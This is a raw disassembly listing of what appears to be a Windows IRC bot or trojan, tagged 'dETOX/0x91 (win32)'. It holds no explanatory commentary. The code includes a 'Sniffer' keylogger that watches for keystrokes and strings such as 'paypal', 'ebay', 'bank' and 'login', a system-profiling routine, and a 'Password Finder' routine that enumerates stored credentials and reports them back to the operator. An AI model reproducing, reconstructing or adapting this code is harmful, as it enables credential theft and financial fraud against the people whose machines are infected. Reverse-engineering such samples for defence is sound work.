mov [ebp+var_14], 2
push 87h
call dword_401230
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_401238
cmp eax, 0FFFFFFFFh
jz short loc_4096E2
push esi
push 48h
push offset dword_403760
push edi
call dword_401244
cmp eax, 0FFFFFFFFh
jnz short loc_409778
push edi
loc_40976D: ; CODE XREF: sub_4096C8+10Bj
call sub_408616
pop ecx
jmp loc_4096E2
; ---------------------------------------------------------------------------
loc_409778: ; CODE XREF: sub_4096C8+A2j
mov ebx, 2000h
push esi
lea eax, [ebp+var_2014]
push ebx
push eax
push edi
mov edi, dword_40123C
call edi ; dword_40123C
cmp eax, 0FFFFFFFFh
jz short loc_4097D0
cmp [ebp+var_2012], 0Ch
jnz loc_409823
push esi
push 18h
push offset dword_4037AC
push [ebp+arg_4]
call dword_401244
cmp eax, 0FFFFFFFFh
jz short loc_4097D0
push esi
lea eax, [ebp+var_2014]
push ebx
push eax
push [ebp+arg_4]
call edi ; dword_40123C
inc eax
neg eax
sbb eax, eax
inc eax
mov [ebp+arg_0], eax
jz short loc_4097D5
loc_4097D0: ; CODE XREF: sub_4096C8+CAj
; sub_4096C8+EDj
push [ebp+arg_4]
jmp short loc_40976D
; ---------------------------------------------------------------------------
loc_4097D5: ; CODE XREF: sub_4096C8+106j
cmp [ebp+var_2012], 2
jnz short loc_409823
push 10h
push offset dword_4037C8
lea eax, [ebp+var_2014]
push esi
push eax
call sub_40A9CA
add esp, 10h
test al, al
jz short loc_409802
mov [ebp+var_4], 1
jmp short loc_409823
; ---------------------------------------------------------------------------
loc_409802: ; CODE XREF: sub_4096C8+12Fj
push 10h
push offset dword_4037DC
lea eax, [ebp+var_2014]
push esi
push eax
call sub_40A9CA
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov [ebp+var_4], eax
loc_409823: ; CODE XREF: sub_4096C8+D3j
; sub_4096C8+114j ...
push [ebp+arg_4]
call sub_408616
mov eax, [ebp+var_4]
pop ecx
loc_40982F: ; CODE XREF: sub_4096C8+1Cj
; sub_4096C8+3Aj
pop edi
pop esi
pop ebx
leave
retn
sub_4096C8 endp
; =============== S U B R O U T I N E =======================================
sub_409834 proc near ; CODE XREF: sub_4098E2+122p
; sub_4098E2+2EAp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
push esi
jz short loc_40988B
mov esi, [esp+4+arg_0]
push offset aPaypal ; "paypal"
push esi
call sub_40AA02
pop ecx
test eax, eax
pop ecx
jnz short loc_4098C2
push offset aEbay ; "ebay"
push esi
call sub_40AA02
pop ecx
test eax, eax
pop ecx
jnz short loc_4098C2
push offset aEBay ; "e-bay"
push esi
call sub_40AA02
pop ecx
test eax, eax
pop ecx
jnz short loc_4098C2
push offset aLogin ; "login"
push esi
call sub_40AA02
pop ecx
test eax, eax
pop ecx
jnz short loc_4098C2
push offset aBank ; "bank"
jmp short loc_4098B6
; ---------------------------------------------------------------------------
loc_40988B: ; CODE XREF: sub_409834+6j
mov esi, [esp+4+arg_0]
push offset aJoin ; "JOIN"
push esi
call sub_40AA02
pop ecx
test eax, eax
pop ecx
jnz short loc_4098C2
push offset aOper ; "OPER"
push esi
call sub_40AA02
pop ecx
test eax, eax
pop ecx
jnz short loc_4098C2
push offset aLogin ; "login"
loc_4098B6: ; CODE XREF: sub_409834+55j
push esi
call sub_40AA02
pop ecx
test eax, eax
pop ecx
jz short loc_4098DE
loc_4098C2: ; CODE XREF: sub_409834+1Bj
; sub_409834+2Cj ...
mov eax, dword_40372C
push esi
imul eax, 1Ch
push off_401BAC[eax]
push offset dword_403F84
call sub_405185
add esp, 0Ch
loc_4098DE: ; CODE XREF: sub_409834+8Cj
xor eax, eax
pop esi
retn
sub_409834 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098E2 proc near ; DATA XREF: sub_404530+B09o
; sub_4055A6+228o ...
var_34D0 = dword ptr -34D0h
var_34CC = byte ptr -34CCh
var_14CC = byte ptr -14CCh
var_144C = dword ptr -144Ch
var_1448 = dword ptr -1448h
var_1444 = dword ptr -1444h
var_1440 = dword ptr -1440h
var_143C = dword ptr -143Ch
var_1438 = byte ptr -1438h
var_103C = dword ptr -103Ch
var_1038 = dword ptr -1038h
var_1034 = dword ptr -1034h
var_1030 = byte ptr -1030h
var_1019 = byte ptr -1019h
var_1018 = byte ptr -1018h
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404458
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 34B8h
call sub_40ABE0
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
mov [ebp+var_1444], esi
mov [ebp+var_143C], esi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_1438]
rep stosd
push 80000400h
lea eax, [ebp+var_1030]
push eax
call dword_4010DC ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40995D
push offset aSniffer ; "Sniffer"
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
push esi
call dword_4010EC ; ExitThread
loc_40995D: ; CODE XREF: sub_4098E2+60j
lea eax, [ebp+var_1030]
push eax
call dword_4010E0 ; RtlEnterCriticalSection
mov ebx, dword_4011D4
call ebx ; dword_4011D4
mov [ebp+var_1448], eax
push 64h
lea ecx, [ebp+var_14CC]
push ecx
push eax
mov esi, dword_4011D0
call esi ; dword_4011D0
mov edi, 1000h
push edi
push 0
lea eax, [ebp+var_1018]
push eax
call sub_40AC10
add esp, 0Ch
loc_4099A1: ; CODE XREF: sub_4098E2+36Ej
; sub_4098E2+38Fj
cmp [ebp+var_1444], 0
jnz loc_409C76
and [ebp+var_4], 0
push 1
call dword_4010F4 ; Sleep
call ebx ; dword_4011D4
mov [ebp+var_1034], eax
cmp eax, [ebp+var_1448]
jz short loc_409A34
mov [ebp+var_1448], eax
push 64h
lea ecx, [ebp+var_14CC]
push ecx
push eax
call esi ; dword_4011D0
lea eax, [ebp+var_14CC]
push eax
lea eax, [ebp+var_1018]
push eax
push offset dword_403FE0
lea eax, [ebp+var_34CC]
push eax
call sub_40AB94
push 1
lea eax, [ebp+var_34CC]
push eax
call sub_409834
mov [ebp+var_1444], eax
push edi
push 0
lea eax, [ebp+var_1018]
push eax
call sub_40AC10
push 2000h
push 0
lea eax, [ebp+var_34CC]
push eax
call sub_40AC10
add esp, 30h
loc_409A34: ; CODE XREF: sub_4098E2+E6j
and [ebp+var_1440], 0
loc_409A3B: ; CODE XREF: sub_4098E2+365j
cmp [ebp+var_1440], 5Ch
jge loc_409C4C
push 10h
call dword_4011E0
movsx eax, ax
mov [ebp+var_1038], eax
mov eax, [ebp+var_1440]
lea eax, [eax+eax*4]
shl eax, 2
mov [ebp+var_34D0], eax
mov eax, dword_403818[eax]
mov [ebp+var_103C], eax
push eax
call dword_4011D8
test ah, 80h
jz loc_409B22
push 14h
call dword_4011E0
test ax, ax
jz short loc_409ABD
cmp [ebp+var_1038], 0FFFFFFFFh
jle short loc_409ABD
mov eax, [ebp+var_103C]
cmp eax, 40h
jle short loc_409ABD
cmp eax, 5Bh
jge short loc_409ABD
mov [ebp+eax*4+var_143C], 1
jmp loc_409C41
; ---------------------------------------------------------------------------
loc_409ABD: ; CODE XREF: sub_4098E2+1B0j
; sub_4098E2+1B9j ...
push 14h
call dword_4011E0
test ax, ax
jz short loc_409AF3
cmp [ebp+var_1038], 0
mov eax, [ebp+var_103C]
jge short loc_409AF9
cmp eax, 40h
jle short loc_409AF9
cmp eax, 5Bh
jge short loc_409AF9
mov [ebp+eax*4+var_143C], 2
jmp loc_409C41
; ---------------------------------------------------------------------------
loc_409AF3: ; CODE XREF: sub_4098E2+1E6j
mov eax, [ebp+var_103C]
loc_409AF9: ; CODE XREF: sub_4098E2+1F5j
; sub_4098E2+1FAj ...
cmp [ebp+var_1038], 0
jge short loc_409B12
mov [ebp+eax*4+var_143C], 3
jmp loc_409C41
; ---------------------------------------------------------------------------
loc_409B12: ; CODE XREF: sub_4098E2+21Ej
mov [ebp+eax*4+var_143C], 4
jmp loc_409C41
; ---------------------------------------------------------------------------
loc_409B22: ; CODE XREF: sub_4098E2+19Fj
mov edx, [ebp+var_103C]
lea eax, [ebp+edx*4+var_143C]
mov ecx, [eax]
test ecx, ecx
jz loc_409C41
mov [ebp+var_144C], ecx
and dword ptr [eax], 0
cmp edx, 8
lea eax, [ebp+var_1018]
push eax
jnz short loc_409B61
call sub_40ABD2
pop ecx
and [ebp+eax+var_1019], 0
jmp loc_409C41
; ---------------------------------------------------------------------------
loc_409B61: ; CODE XREF: sub_4098E2+26Aj
call sub_40ABD2
pop ecx
cmp eax, 0FBAh
ja short loc_409B90
cmp [ebp+var_103C], 0Dh
jnz loc_409BFE
lea eax, [ebp+var_1018]
push eax
call sub_40ABD2
pop ecx
test eax, eax
jz loc_409C41
loc_409B90: ; CODE XREF: sub_4098E2+28Aj
call ebx ; dword_4011D4
mov [ebp+var_1034], eax
push 64h
lea ecx, [ebp+var_14CC]
push ecx
push eax
call esi ; dword_4011D0
lea eax, [ebp+var_14CC]
push eax
lea eax, [ebp+var_1018]
push eax
push offset dword_403FE0
lea eax, [ebp+var_34CC]
push eax
call sub_40AB94
push 1
lea eax, [ebp+var_34CC]
push eax
call sub_409834
mov [ebp+var_1444], eax
push edi
push 0
lea eax, [ebp+var_1018]
push eax
call sub_40AC10
push 2000h
push 0
lea eax, [ebp+var_34CC]
push eax
call sub_40AC10
add esp, 30h
jmp short loc_409C41
; ---------------------------------------------------------------------------
loc_409BFE: ; CODE XREF: sub_4098E2+293j
mov eax, [ebp+var_144C]
cmp eax, 1
jz short loc_409C26
cmp eax, 3
jz short loc_409C26
cmp eax, 2
jz short loc_409C18
cmp eax, 4
jnz short loc_409C41
loc_409C18: ; CODE XREF: sub_4098E2+32Fj
mov eax, [ebp+var_34D0]
lea eax, dword_40381C[eax]
jmp short loc_409C32
; ---------------------------------------------------------------------------
loc_409C26: ; CODE XREF: sub_4098E2+325j
; sub_4098E2+32Aj
mov eax, [ebp+var_34D0]
lea eax, dword_403823[eax]
loc_409C32: ; CODE XREF: sub_4098E2+342j
push eax
lea eax, [ebp+var_1018]
push eax
call sub_40AC82
pop ecx
pop ecx
loc_409C41: ; CODE XREF: sub_4098E2+1D6j
; sub_4098E2+20Cj ...
inc [ebp+var_1440]
jmp loc_409A3B
; ---------------------------------------------------------------------------
loc_409C4C: ; CODE XREF: sub_4098E2+160j
or [ebp+var_4], 0FFFFFFFFh
jmp loc_4099A1
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, 1000h
mov ebx, dword_4011D4
mov esi, dword_4011D0
jmp loc_4099A1
; ---------------------------------------------------------------------------
loc_409C76: ; CODE XREF: sub_4098E2+C6j
push offset aSniffer ; "Sniffer"
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
lea eax, [ebp+var_1030]
push eax
call dword_4010E8 ; RtlLeaveCriticalSection
push 0
call dword_4010EC ; ExitThread
sub_4098E2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C9D proc near ; CODE XREF: sub_409F1F+3Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
loc_409CA7: ; CODE XREF: sub_409C9D+3Cj
; sub_409C9D+46j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call dword_4010F4 ; Sleep
rdtsc
sub eax, ebx
push esi
sbb edx, edi
push 186A0h
push edx
push eax
call sub_40AD10
push esi
push 0Ah
push edx
push eax
call sub_40AD10
cmp edx, esi
mov edi, eax
ja short loc_409CA7
jb short loc_409CE5
cmp edi, 0F4240h
ja short loc_409CA7
loc_409CE5: ; CODE XREF: sub_409C9D+3Ej
push esi
push 64h
push edx
push edi
call sub_40AC90
push 64h
mov ecx, eax
cmp edx, esi
pop eax
mov [ebp+var_4], esi
ja short loc_409D5C
jb short loc_409D02
cmp ecx, 50h
jnb short loc_409D08
loc_409D02: ; CODE XREF: sub_409C9D+5Ej
push 4Bh
mov [ebp+var_4], esi
pop eax
loc_409D08: ; CODE XREF: sub_409C9D+63j
cmp edx, esi
ja short loc_409D5C
jb short loc_409D13
cmp ecx, 47h
jnb short loc_409D19
loc_409D13: ; CODE XREF: sub_409C9D+6Fj
push 42h
mov [ebp+var_4], esi
pop eax
loc_409D19: ; CODE XREF: sub_409C9D+74j
cmp edx, esi
ja short loc_409D5C
jb short loc_409D24
cmp ecx, 37h
jnb short loc_409D2A
loc_409D24: ; CODE XREF: sub_409C9D+80j
push 32h
mov [ebp+var_4], esi
pop eax
loc_409D2A: ; CODE XREF: sub_409C9D+85j
cmp edx, esi
ja short loc_409D5C
jb short loc_409D35
cmp ecx, 26h
jnb short loc_409D3B
loc_409D35: ; CODE XREF: sub_409C9D+91j
push 21h
mov [ebp+var_4], esi
pop eax
loc_409D3B: ; CODE XREF: sub_409C9D+96j
cmp edx, esi
ja short loc_409D5C
jb short loc_409D46
cmp ecx, 1Eh
jnb short loc_409D4C
loc_409D46: ; CODE XREF: sub_409C9D+A2j
push 19h
mov [ebp+var_4], esi
pop eax
loc_409D4C: ; CODE XREF: sub_409C9D+A7j
cmp edx, esi
ja short loc_409D5C
jb short loc_409D57
cmp ecx, 0Ah
jnb short loc_409D5C
loc_409D57: ; CODE XREF: sub_409C9D+B3j
xor eax, eax
mov [ebp+var_4], esi
loc_409D5C: ; CODE XREF: sub_409C9D+5Cj
; sub_409C9D+6Dj ...
sub eax, ecx
add eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_409C9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D65 proc near ; CODE XREF: sub_404530+D5p
; sub_409F1F+47p
var_2C = qword ptr -2Ch
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_401098 ; QueryPerformanceCounter
lea eax, [ebp+var_8]
push eax
call dword_401094 ; QueryPerformanceFrequency
xor eax, eax
cmp [ebp+var_C], eax
jl short loc_409DC9
jg short loc_409D90
cmp [ebp+var_10], eax
jbe short loc_409DC9
loc_409D90: ; CODE XREF: sub_409D65+24j
cmp [ebp+var_4], eax
jl short loc_409DC9
jg short loc_409D9C
cmp [ebp+var_8], eax
jbe short loc_409DC9
loc_409D9C: ; CODE XREF: sub_409D65+30j
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_40AD90
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+2Ch+var_2C]
call sub_40AD7E
pop ecx
pop ecx
call sub_40ABC6
jmp short loc_409DD8
; ---------------------------------------------------------------------------
loc_409DC9: ; CODE XREF: sub_409D65+22j
; sub_409D65+29j ...
call dword_4010FC ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
loc_409DD8: ; CODE XREF: sub_409D65+62j
mov ecx, 15180h
xor edx, edx
mov edi, ecx
mov esi, eax
div edi
xor edx, edx
push 3Ch
mov edi, eax
mov eax, esi
div ecx
mov ecx, 0E10h
mov ebx, ecx
mov eax, edx
xor edx, edx
div ebx
xor edx, edx
mov ebx, eax
mov eax, esi
div ecx
pop ecx
mov esi, offset aDays ; "days"
mov eax, edx
xor edx, edx
div ecx
cmp edi, 1
jnz short loc_409E1A
mov esi, offset aDay ; "day"
loc_409E1A: ; CODE XREF: sub_409D65+AEj
cmp ebx, 1
mov edx, offset aHours ; "hours"
jnz short loc_409E29
mov edx, offset aHour ; "hour"
loc_409E29: ; CODE XREF: sub_409D65+BDj
cmp eax, 1
mov ecx, offset aMinutes ; "minutes"
jnz short loc_409E38
mov ecx, offset aMinute ; "minute"
loc_409E38: ; CODE XREF: sub_409D65+CCj
push ecx
push eax
push edx
push ebx
push esi
push edi
push offset dword_404000
mov esi, offset dword_40B310
push 104h
push esi
call sub_40AD78
add esp, 24h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_409D65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409E5D proc near ; CODE XREF: sub_404530+FBp
; sub_409F1F+41p
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 98h
lea eax, [ebp+var_98]
mov [ebp+var_98], 94h
push eax
call dword_40109C ; GetVersionExA
cmp [ebp+var_94], 4
mov ecx, [ebp+var_90]
jnz short loc_409EC9
test ecx, ecx
jnz short loc_409EB1
cmp [ebp+var_88], 1
mov eax, offset a95 ; "95"
jz short loc_409EA1
mov eax, [ebp+var_4]
loc_409EA1: ; CODE XREF: sub_409E5D+3Fj
cmp [ebp+var_88], 2
jnz short loc_409EF8
mov eax, offset aNt ; "NT"
jmp short loc_409EF8
; ---------------------------------------------------------------------------
loc_409EB1: ; CODE XREF: sub_409E5D+31j
cmp ecx, 0Ah
jnz short loc_409EBD
mov eax, offset a98 ; "98"
jmp short loc_409EF8
; ---------------------------------------------------------------------------
loc_409EBD: ; CODE XREF: sub_409E5D+57j
cmp ecx, 5Ah
jnz short loc_409EF3
mov eax, offset aMe ; "ME"
jmp short loc_409EF8
; ---------------------------------------------------------------------------
loc_409EC9: ; CODE XREF: sub_409E5D+2Dj
cmp [ebp+var_94], 5
jnz short loc_409EF3
test ecx, ecx
jnz short loc_409EDD
mov eax, offset a2000 ; "2000"
jmp short loc_409EF8
; ---------------------------------------------------------------------------
loc_409EDD: ; CODE XREF: sub_409E5D+77j
cmp ecx, 1
jnz short loc_409EE9
mov eax, offset aXp ; "XP"
jmp short loc_409EF8
; ---------------------------------------------------------------------------
loc_409EE9: ; CODE XREF: sub_409E5D+83j
cmp ecx, 2
mov eax, offset a2003 ; "2003"
jz short loc_409EF8
loc_409EF3: ; CODE XREF: sub_409E5D+63j
; sub_409E5D+73j
mov eax, offset dword_404074
loc_409EF8: ; CODE XREF: sub_409E5D+4Bj
; sub_409E5D+52j ...
push esi
mov esi, offset dword_40B284
push [ebp+var_8C]
push ecx
push [ebp+var_94]
push eax
push offset dword_404050
push esi
call sub_40AB94
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_409E5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F1F proc near ; CODE XREF: sub_404530+140p
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebp
mov ebp, esp
sub esp, 20h
push esi
push 20h
lea eax, [ebp+var_20]
push 0
push eax
call sub_40AC10
add esp, 0Ch
lea eax, [ebp+var_20]
push eax
call dword_4010A0 ; GlobalMemoryStatus
mov eax, [ebp+var_18]
mov ecx, 0FF800h
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
push eax
mov eax, [ebp+var_18]
sub eax, [ebp+var_14]
div ecx
push eax
call sub_409C9D
push eax
call sub_409E5D
push eax
call sub_409D65
push eax
push offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
mov esi, offset dword_40B414
push offset dword_40409C
push esi
call sub_40AB94
add esp, 20h
mov eax, esi
pop esi
leave
retn
sub_409F1F endp
; =============== S U B R O U T I N E =======================================
sub_409F89 proc near ; CODE XREF: MEW:0040A238p
; MEW:0040A313p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_0]
push [esp+4+arg_4]
push 4040FCh
call sub_405185
add esp, 0Ch
xor eax, eax
retn
sub_409F89 endp
; ---------------------------------------------------------------------------
loc_409FA1: ; DATA XREF: sub_404530+1F3o
mov eax, offset loc_40AFF4
call sub_40AE40
sub esp, 0D40h
push ebx
push esi
push edi
xor ebx, ebx
push offset dword_404288
mov [ebp-14h], ebx
call dword_401090 ; LoadLibraryA
cmp eax, ebx
mov [ebp-2Ch], eax
jz loc_40A436
mov eax, [ebp+8]
push dword ptr [eax]
push offset dword_404248
call sub_405185
pop ecx
pop ecx
push 404230h
push dword ptr [ebp-2Ch]
call dword_40108C ; GetProcAddress
cmp eax, ebx
jz loc_40A418
push ebx
push ebx
lea ecx, [ebp-10h]
push ebx
push ecx
mov [ebp-4], ebx
mov [ebp-10h], ebx
call eax
cmp [ebp-10h], ebx
mov byte ptr [ebp-4], 1
mov [ebp-24h], ebx
jnz short loc_40A01B
push 80004003h
call sub_40AE70
loc_40A01B: ; CODE XREF: MEW:0040A00Fj
mov esi, [ebp-10h]
lea ecx, [ebp-24h]
push ecx
push ebx
mov eax, [esi]
push ebx
push esi
call dword ptr [eax+38h]
cmp eax, ebx
jge short loc_40A03A
push offset dword_404220
push esi
push eax
call sub_40AE7E
loc_40A03A: ; CODE XREF: MEW:0040A02Cj
; MEW:0040A3E6j ...
cmp [ebp-24h], ebx
jnz short loc_40A049
push 80004003h
call sub_40AE70
loc_40A049: ; CODE XREF: MEW:0040A03Dj
mov eax, [ebp-24h]
lea edx, [ebp-40h]
push ebx
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_40A3F7
sub esp, 10h
lea esi, [ebp-40h]
mov edi, esp
lea eax, [ebp-84h]
movsd
movsd
movsd
push 404218h
push eax
movsd
call dword_4011DC
add esp, 18h
cmp [ebp-10h], ebx
mov byte ptr [ebp-4], 2
mov [ebp-1Ch], ebx
jnz short loc_40A098
push 80004003h
call sub_40AE70
loc_40A098: ; CODE XREF: MEW:0040A08Cj
mov esi, [ebp-10h]
lea ecx, [ebp-1Ch]
push ecx
lea ecx, [ebp-40h]
mov eax, [esi]
push ebx
push ecx
push ebx
push esi
call dword ptr [eax+3Ch]
cmp eax, ebx
mov edi, offset dword_404220
jge short loc_40A0BC
push edi
push esi
push eax
call sub_40AE7E
loc_40A0BC: ; CODE XREF: MEW:0040A0B2j
; MEW:0040A3CCj ...
cmp [ebp-1Ch], ebx
jnz short loc_40A0CB
push 80004003h
call sub_40AE70
loc_40A0CB: ; CODE XREF: MEW:0040A0BFj
mov eax, [ebp-1Ch]
lea edx, [ebp-50h]
push ebx
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_40A3DD
cmp [ebp-10h], ebx
mov byte ptr [ebp-4], 3
mov [ebp-20h], ebx
jnz short loc_40A0F9
push 80004003h
call sub_40AE70
loc_40A0F9: ; CODE XREF: MEW:0040A0EDj
mov esi, [ebp-10h]
lea ecx, [ebp-20h]
push ecx
lea ecx, [ebp-50h]
mov eax, [esi]
push ebx
push ecx
lea ecx, [ebp-40h]
push ecx
push ebx
push esi
call dword ptr [eax+54h]
cmp eax, ebx
jge short loc_40A11C
push edi
push esi
push eax
call sub_40AE7E
loc_40A11C: ; CODE XREF: MEW:0040A112j
; MEW:0040A253j ...
cmp [ebp-20h], ebx
jnz short loc_40A12B
push 80004003h
call sub_40AE70
loc_40A12B: ; CODE XREF: MEW:0040A11Fj
mov eax, [ebp-20h]
lea edx, [ebp-30h]
push ebx
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_40A3C3
push dword ptr [ebp-30h]
lea eax, [ebp-54Ch]
push offset dword_404214
push eax
call dword_4011DC
add esp, 0Ch
cmp [ebp-10h], ebx
mov [ebp-28h], ebx
mov [ebp-18h], ebx
jnz short loc_40A170
push 80004003h
call sub_40AE70
loc_40A170: ; CODE XREF: MEW:0040A164j
push ebx
lea ecx, [ebp-18h]
push ebx
push ecx
mov esi, [ebp-10h]
lea ecx, [ebp-28h]
push ecx
lea ecx, [ebp-50h]
push dword ptr [ebp-30h]
mov eax, [esi]
push ecx
lea ecx, [ebp-40h]
push ecx
push ebx
push esi
call dword ptr [eax+44h]
cmp eax, ebx
jge short loc_40A19B
push edi
push esi
push eax
call sub_40AE7E
loc_40A19B: ; CODE XREF: MEW:0040A191j
push dword ptr [ebp-18h]
call dword_4010CC ; lstrlenA
mov esi, [ebp-28h]
lea ecx, [esi-1]
cmp eax, ecx
jge short loc_40A1E1
xor edx, edx
xor ecx, ecx
cmp esi, ebx
jle short loc_40A1D8
loc_40A1B6: ; CODE XREF: MEW:0040A1D6j
mov eax, [ebp-18h]
mov al, [ecx+eax]
cmp al, bl
jnz short loc_40A1CA
mov byte ptr [ebp+edx-34Ch], 2Ch
jmp short loc_40A1D1
; ---------------------------------------------------------------------------
loc_40A1CA: ; CODE XREF: MEW:0040A1BEj
mov [ebp+edx-34Ch], al
loc_40A1D1: ; CODE XREF: MEW:0040A1C8j
inc edx
inc ecx
inc ecx
cmp ecx, esi
jl short loc_40A1B6
loc_40A1D8: ; CODE XREF: MEW:0040A1B4j
mov [ebp+edx-34Dh], bl
jmp short loc_40A1F9
; ---------------------------------------------------------------------------
loc_40A1E1: ; CODE XREF: MEW:0040A1ACj
push dword ptr [ebp-18h]
lea eax, [ebp-34Ch]
push offset aS_1 ; "%s"
push eax
call dword_4011DC
add esp, 0Ch
loc_40A1F9: ; CODE XREF: MEW:0040A1DFj
mov esi, dword_4010A4+8
lea eax, [ebp-84h]
push 404208h
push eax
call esi
test eax, eax
jnz short loc_40A243
push dword ptr [ebp-18h]
lea eax, [ebp-54Ch]
push eax
lea eax, [ebp-0D4Ch]
push offset dword_4041D8
push eax
call sub_40AB94
mov eax, [ebp+8]
push dword ptr [eax]
lea eax, [ebp-0D4Ch]
push eax
call sub_409F89
add esp, 18h
inc dword ptr [ebp-14h]
loc_40A243: ; CODE XREF: MEW:0040A20Fj
lea eax, [ebp-84h]
push 4041CCh
push eax
call esi
test eax, eax
jnz loc_40A11C
lea eax, [ebp-54Ch]
push 4041C0h
push eax
call sub_40AB9A
pop ecx
test eax, eax
pop ecx
jnz loc_40A11C
lea eax, [ebp-54Ch]
push 4041B8h
push eax
call sub_40AB9A
pop ecx
test eax, eax
pop ecx
jz loc_40A11C
lea eax, [ebp-54Ch]
push 4041B8h
push eax
call sub_40AB9A
pop ecx
mov [eax], bl
pop ecx
lea eax, [ebp-54Ch]
push 8
push eax
lea eax, [ebp-14Ch]
push eax
call dword_4010A4+4
lea eax, [ebp-14Ch]
push 4041B0h
push eax
call sub_40AB9A
pop ecx
test eax, eax
pop ecx
jnz short loc_40A323
lea eax, [ebp-14Ch]
push 4041A8h
push eax
call sub_40AB9A
pop ecx
test eax, eax
pop ecx
jnz short loc_40A323
lea eax, [ebp-34Ch]
push eax
lea eax, [ebp-54Ch]
push eax
lea eax, [ebp-0D4Ch]
push 40417Ch
push eax
call sub_40AB94
mov eax, [ebp+8]
push dword ptr [eax]
lea eax, [ebp-0D4Ch]
push eax
call sub_409F89
add esp, 18h
loc_40A31B: ; CODE XREF: MEW:0040A3BEj
inc dword ptr [ebp-14h]
jmp loc_40A11C
; ---------------------------------------------------------------------------
loc_40A323: ; CODE XREF: MEW:0040A2CFj
; MEW:0040A2E6j
lea eax, [ebp-14Ch]
push offset byte_40B078
push eax
call dword_4010A4 ; lstrcpyA
lea eax, [ebp-34Ch]
push 404178h
push eax
call sub_40AB9A
pop ecx
test eax, eax
pop ecx
jz loc_40A11C
mov esi, 404178h
lea eax, [ebp-34Ch]
push esi
push eax
call sub_40AB9A
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp-14Ch]
push eax
call dword_4010A4 ; lstrcpyA
lea eax, [ebp-34Ch]
push esi
push eax
call sub_40AB9A
pop ecx
mov [eax], bl
pop ecx
lea eax, [ebp-14Ch]
push eax
lea eax, [ebp-34Ch]
push eax
lea eax, [ebp-54Ch]
push eax
lea eax, [ebp-0D4Ch]
push 404148h
push eax
call sub_40AB94
mov eax, [ebp+8]
push dword ptr [eax]
lea eax, [ebp-0D4Ch]
push eax
call sub_409F89
add esp, 1Ch
jmp loc_40A31B
; ---------------------------------------------------------------------------
loc_40A3C3: ; CODE XREF: MEW:0040A13Dj
mov eax, [ebp-20h]
mov byte ptr [ebp-4], 2
cmp eax, ebx
jz loc_40A0BC
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_40A0BC
; ---------------------------------------------------------------------------
loc_40A3DD: ; CODE XREF: MEW:0040A0DDj
mov eax, [ebp-1Ch]
mov byte ptr [ebp-4], 1
cmp eax, ebx
jz loc_40A03A
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_40A03A
; ---------------------------------------------------------------------------
loc_40A3F7: ; CODE XREF: MEW:0040A05Bj
mov eax, [ebp-24h]
mov [ebp-4], bl
cmp eax, ebx
jz short loc_40A407
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40A407: ; CODE XREF: MEW:0040A3FFj
mov eax, [ebp-10h]
or dword ptr [ebp-4], 0FFFFFFFFh
cmp eax, ebx
jz short loc_40A418
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40A418: ; CODE XREF: MEW:00409FF0j
; MEW:0040A410j
push dword ptr [ebp-14h]
mov eax, [ebp+8]
push dword ptr [eax]
push 404110h
call sub_405185
add esp, 0Ch
push dword ptr [ebp-2Ch]
call dword_401088 ; FreeLibrary
loc_40A436: ; CODE XREF: MEW:00409FC9j
push offset aPasswordFinder ; "Password Finder"
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
push ebx
call dword_4010EC ; ExitThread
loc_40A44F: ; CODE XREF: MEW:0040AFD7j
